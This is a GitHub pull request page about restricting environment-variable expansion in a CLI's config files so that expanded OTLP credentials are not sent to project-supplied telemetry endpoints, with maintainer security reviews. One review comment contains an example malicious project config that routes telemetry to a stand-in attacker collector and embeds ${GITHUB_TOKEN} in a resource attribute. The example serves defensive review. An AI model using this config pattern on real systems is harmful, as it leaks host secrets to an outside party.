Skip to content

fix(userconfig): preserve project defaults with safe OTLP expansion - #418

Open
karanb192 wants to merge 24 commits into
alibaba:mainfrom
karanb192:fix/expand-user-config-env
Open

karanb192 wants to merge 24 commits into
alibaba:mainfrom
karanb192:fix/expand-user-config-env

Conversation

@karanb192

@karanb192 karanb192 commented Nov 16, 2026 •

Copy link
Copy Markdown
Contributor

Summary

Preserve automatic .skill-up.yaml defaults while adding trusted environment expansion for user and explicitly selected configuration.

  • Keep user → project → explicit precedence, including project telemetry and runtime defaults. Automatically discovered project values remain literal.
  • Expand ${VAR} once against the original process environment in trusted env values only. Existing process variables, including empty values, still win; unset references remain literal.
  • Withhold a newly expanded OTLP header when project defaults can control the route, proxy or TLS roots of a signal that would carry it. Project settings and pre-existing or literal headers keep their prior behavior. This does not change the broader endpoint or evaluation-execution policy.
  • Reject repeated --config before applying defaults and keep init --config copy-only. Ignore relative XDG_CONFIG_HOME for both discovery and the default init output path.

Header guard

A signal-specific header follows that signal's route. For example, a project-only metrics endpoint leaves a trusted trace header available. A shared header can reach several signals, so a project route setting for any signal withholds it. Project proxy settings and system TLS root settings apply across signals.

The guard checks the effective value from the process, structured settings, or trusted config expansion. A trusted HTTP(S) endpoint must parse with a hostname and a usable port. The guard recognizes the protocol values grpc and http/protobuf and the insecure flag values true and false. A signal-specific CA, client certificate, or key path cannot shield an expanded header from shared TLS settings supplied by the project. An exporter reads those files later and may fall back if loading fails.

Empty and blank project routing values still count because they can displace a trusted default during config merging.

Ordinary environment defaults are installed before expanded OTLP headers. If an ordinary write fails, the exporter starts without any header newly expanded by this config.

Tests

  • The loopback tests exercise trusted and project collectors, mixed signals, and TLS-root settings. The rejected-endpoint regression checks that the expanded marker is absent before starting the exporter, then verifies that the fallback collector receives the trace without the marker.

  • The config tests cover accepted and rejected endpoints from both the process environment and trusted config, malformed and missing CA files, and protocol and insecure flag overrides.

  • An invalid environment key exercises the partial-write path and checks that the expanded header stays unset.

Verification

On 9856410, make verify, the Go race suite, 22 Codex plugin unit tests, make e2e and the docs build passed with Go 1.26.10. Local verification skipped the bundled skill evals and live provider tests.

@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Nov 16, 2026 •

Copy link
Copy Markdown
Codex Review Summary: ✅ Completed

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ✅ Completed 2026-11-16T09:13:10.077558Z 806e273 PR opened
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

zpzjzj commented Nov 17, 2026

Copy link
Copy Markdown
Collaborator

I reviewed the current head (5ad1dce). The expansion behavior and regression tests look reasonable, but I think we should address a configuration trust-boundary issue before merging.

Security concern: automatically discovered project configuration can copy host secrets into exported telemetry.

LoadEffective automatically loads .skill-up.yaml from the current working directory. The new ApplyEnv logic then resolves references against arbitrary host process environment variables, without distinguishing trusted user configuration from repository-controlled project configuration. ExecuteArgs applies these values before initializing OpenTelemetry, even for commands that do not execute an evaluation.

For example, an untrusted repository could contain:

env:
  OTEL_EXPORTER_OTLP_ENDPOINT: https://collector.attacker.invalid
  OTEL_EXPORTER_OTLP_PROTOCOL: http/protobuf
  OTEL_RESOURCE_ATTRIBUTES: leaked=${GITHUB_TOKEN}

If GITHUB_TOKEN is present, the relevant OTEL destination variables are not already set, and outbound access is available, running the CLI in that directory would copy the token into a resource attribute that is exported to the configured collector. This does not require shell execution or running an agent. This finding is based on the code path; I have not performed an external exfiltration test.

Project configuration could already configure a telemetry destination before this PR. The additional capability introduced here is reading an arbitrary host environment secret and inserting it into the exported data.

Could we restrict host-environment expansion to trusted user configuration or explicitly trusted project configuration, with an opt-in/trust mechanism for automatically discovered project files? Merely restricting destination keys to OTEL_* would not prevent this example. A regression test covering the project-config trust boundary would also help.

Validation: go test -race ./internal/userconfig passed on the current head. I did not run the full test suite.

@zpzjzj zpzjzj left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Requesting changes on 5ad1dce for the unresolved configuration trust boundary described in the existing review. ApplyEnv still expands arbitrary host variables without preserving whether the source was trusted user config or an automatically discovered project file. Please restrict expansion to trusted/explicitly trusted configuration and add a project-config regression test before merging. This is a source review; no external secret-transmission test was performed.

@karanb192 karanb192 changed the title fix(userconfig): expand environment placeholders in defaults fix(userconfig): expand env placeholders only from trusted config Nov 17, 2026

Copy link
Copy Markdown
Contributor Author

Fixed in 4e6b376, with CLI regression coverage in the follow-up commits. Current head is d6d332d.

Each merged env value now keeps its source. Only user-level config and files explicitly selected with --config expand host variables; automatically discovered project values stay literal, including overrides of user-config keys. --config ./.skill-up.yaml opts that file in.

The regression tests cover the project-config example with a synthetic token and telemetry exporters disabled, plus automatic discovery and explicit opt-in through the CLI. CI is green.

The docs and PR body also call out the remaining destination-policy limitation: a project endpoint override can receive credentials expanded from trusted user config. That broader policy is outside this fix.

zpzjzj commented Nov 18, 2026

Copy link
Copy Markdown
Collaborator

Thanks for addressing host-environment expansion in project configuration. The final CI checks, including Windows, Docker, and CodeQL, have passed.

The remaining concern is that credentials from trusted configuration can still be sent to an endpoint supplied by untrusted project configuration. As acknowledged, the current fix does not prevent this.

Before merging, please define the endpoint trust policy and add a regression test covering trusted credentials combined with an untrusted endpoint. If this is deferred, please track it separately and obtain explicit maintainer acceptance of the remaining risk.

My request for changes remains in place pending that decision.

@karanb192 karanb192 changed the title fix(userconfig): expand env placeholders only from trusted config fix(userconfig): require trust for project config defaults Nov 18, 2026
@zpzjzj

zpzjzj commented Nov 23, 2026

Copy link
Copy Markdown
Collaborator

Thanks for adding the regression test. The current patch closes the credential-redirection path by ignoring the entire project config, but that also means existing .skill-up.yaml defaults stop taking effect unless users explicitly select the file. Could we preserve automatic loading for existing projects and narrow the change to the credential boundary?

In particular, please keep ${VAR} expansion limited to trusted config and ensure that an OTLP authorization header produced by the new expansion cannot be sent to an endpoint supplied by an automatically discovered project config. The broader endpoint policy predates this PR and can be tracked separately, but this new combination is directly relevant to the use case in the PR. A regression test showing that ordinary project defaults still apply without --config, while the expanded credential does not reach the project-supplied collector, would cover both requirements.

Two related config-selection cases are worth fixing before granting expansion permission: resolve --config consistently before applying defaults (or reject repeated flags), and ignore relative XDG_CONFIG_HOME for both config loading and init’s default write target.

@karanb192 karanb192 changed the title fix(userconfig): require trust for project config defaults fix(userconfig): preserve project defaults with safe OTLP expansion Nov 23, 2026
@zpzjzj

zpzjzj commented Nov 23, 2026

Copy link
Copy Markdown
Collaborator

Thanks for restoring automatic loading of .skill-up.yaml. That addresses my compatibility concern. I also verified that repeated --config flags are rejected before defaults are applied, and that discovery and init both ignore a relative XDG_CONFIG_HOME.

I’d keep this in Changes requested for two remaining OTLP cases:

  1. Include project-provided TLS trust settings in the guard. On Linux and other platforms where Go honors SSL_CERT_FILE and SSL_CERT_DIR, project defaults can change which certificates the HTTPS exporter trusts when it uses system roots. That doesn’t redirect traffic on its own, but it can change which peer the exporter will accept, and the newly expanded header is still applied. Could we treat these settings as transport inputs, or use TLS settings from a trusted source for exporters that carry newly expanded credentials?
  2. Apply the guard per signal. A project-only metrics endpoint currently suppresses newly expanded trace headers even when metrics are disabled and traces go to a trusted endpoint. Please preserve signal-specific headers when that signal’s effective route is trusted, while keeping the conservative check for generic headers that can apply to multiple signals.

The current regression tests check the environment before SDK initialization. Could we add a loopback test with a synthetic token that verifies the trusted collector receives the header and the project-supplied collector does not, plus a mixed-signal regression for the second case? This can stay scoped to newly expanded OTLP headers; it doesn’t need to reopen the broader endpoint policy.

A project-only metrics endpoint no longer withholds a newly expanded
traces header whose own route is trusted. A signal header now follows
that signal's effective route: its own endpoint, protocol and TLS
options, then the shared ones it does not override from a trusted
source. The shared header stays conservative.

Project SSL_CERT_FILE and SSL_CERT_DIR defaults now count as transport
inputs for every signal, like proxy settings.

Loopback collector tests run the real start-up path and check which
collector receives the synthetic token.
A trusted signal endpoint that expanded to an empty or blank value still
counted as overriding the shared project endpoint, while the exporter
fell back to the project one with the expanded header attached. Resolve
every default before the guard runs and treat empty and blank values as
unset, as exporters do.

The loopback tests no longer depend on telemetry settings inherited
from the shell.
An empty or blank project option for a route key still counts as project
routing: in the merged config it has already replaced a trusted value
for the same key, and the exporter then falls back to another route.
An empty value was skipped before the guard saw it. Loopback and unit
cases pin both. Use delimited collector placeholders in the loopback
fixtures so they cannot rewrite other keys.
@zpzjzj

zpzjzj commented Nov 26, 2026

Copy link
Copy Markdown
Collaborator

Thanks for the update. Automatic project defaults still load, the TLS-root settings are now covered, and the mixed-signal and loopback tests address the cases from my previous review.

I’d keep this in Changes requested for one remaining fallback case. hasTrustedSignalOption treats a non-blank signal-specific value as an effective override. The OTel SDK applies shared options first and skips a signal-specific URL or CA override if it cannot parse or load it. That can leave the project-provided shared endpoint or CA in effect even though the guard has allowed the newly expanded header.

Could we withhold the newly expanded header when the exporter might still fall back to a project-provided option? A valid override from the process environment should work just as well as one from user config; no new file or explicit trust setting should be required. A loopback regression for a rejected, non-empty signal endpoint and a regression for an invalid signal CA would cover the gap without changing automatic project loading.

@zpzjzj

zpzjzj commented Nov 27, 2026

Copy link
Copy Markdown
Collaborator

Thanks for addressing the fallback case. The rejected endpoint and TLS-file cases are now covered, valid process overrides still work, and automatic project defaults remain unchanged.

I found one remaining issue in the error path. ApplyEnv makes the trust decision from the full planned environment, but stops on the first Setenv error. The CLI warns and starts the exporter anyway. That can leave a newly expanded trace header installed alongside a project-provided shared INSECURE setting, while the trusted trace-specific override it relied on was never written.

Could we install newly expanded OTLP headers only after the ordinary defaults, including transport overrides, have been applied successfully? A regression that checks that no newly expanded header remains after an environment-write failure would cover the gap without changing project auto-loading.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants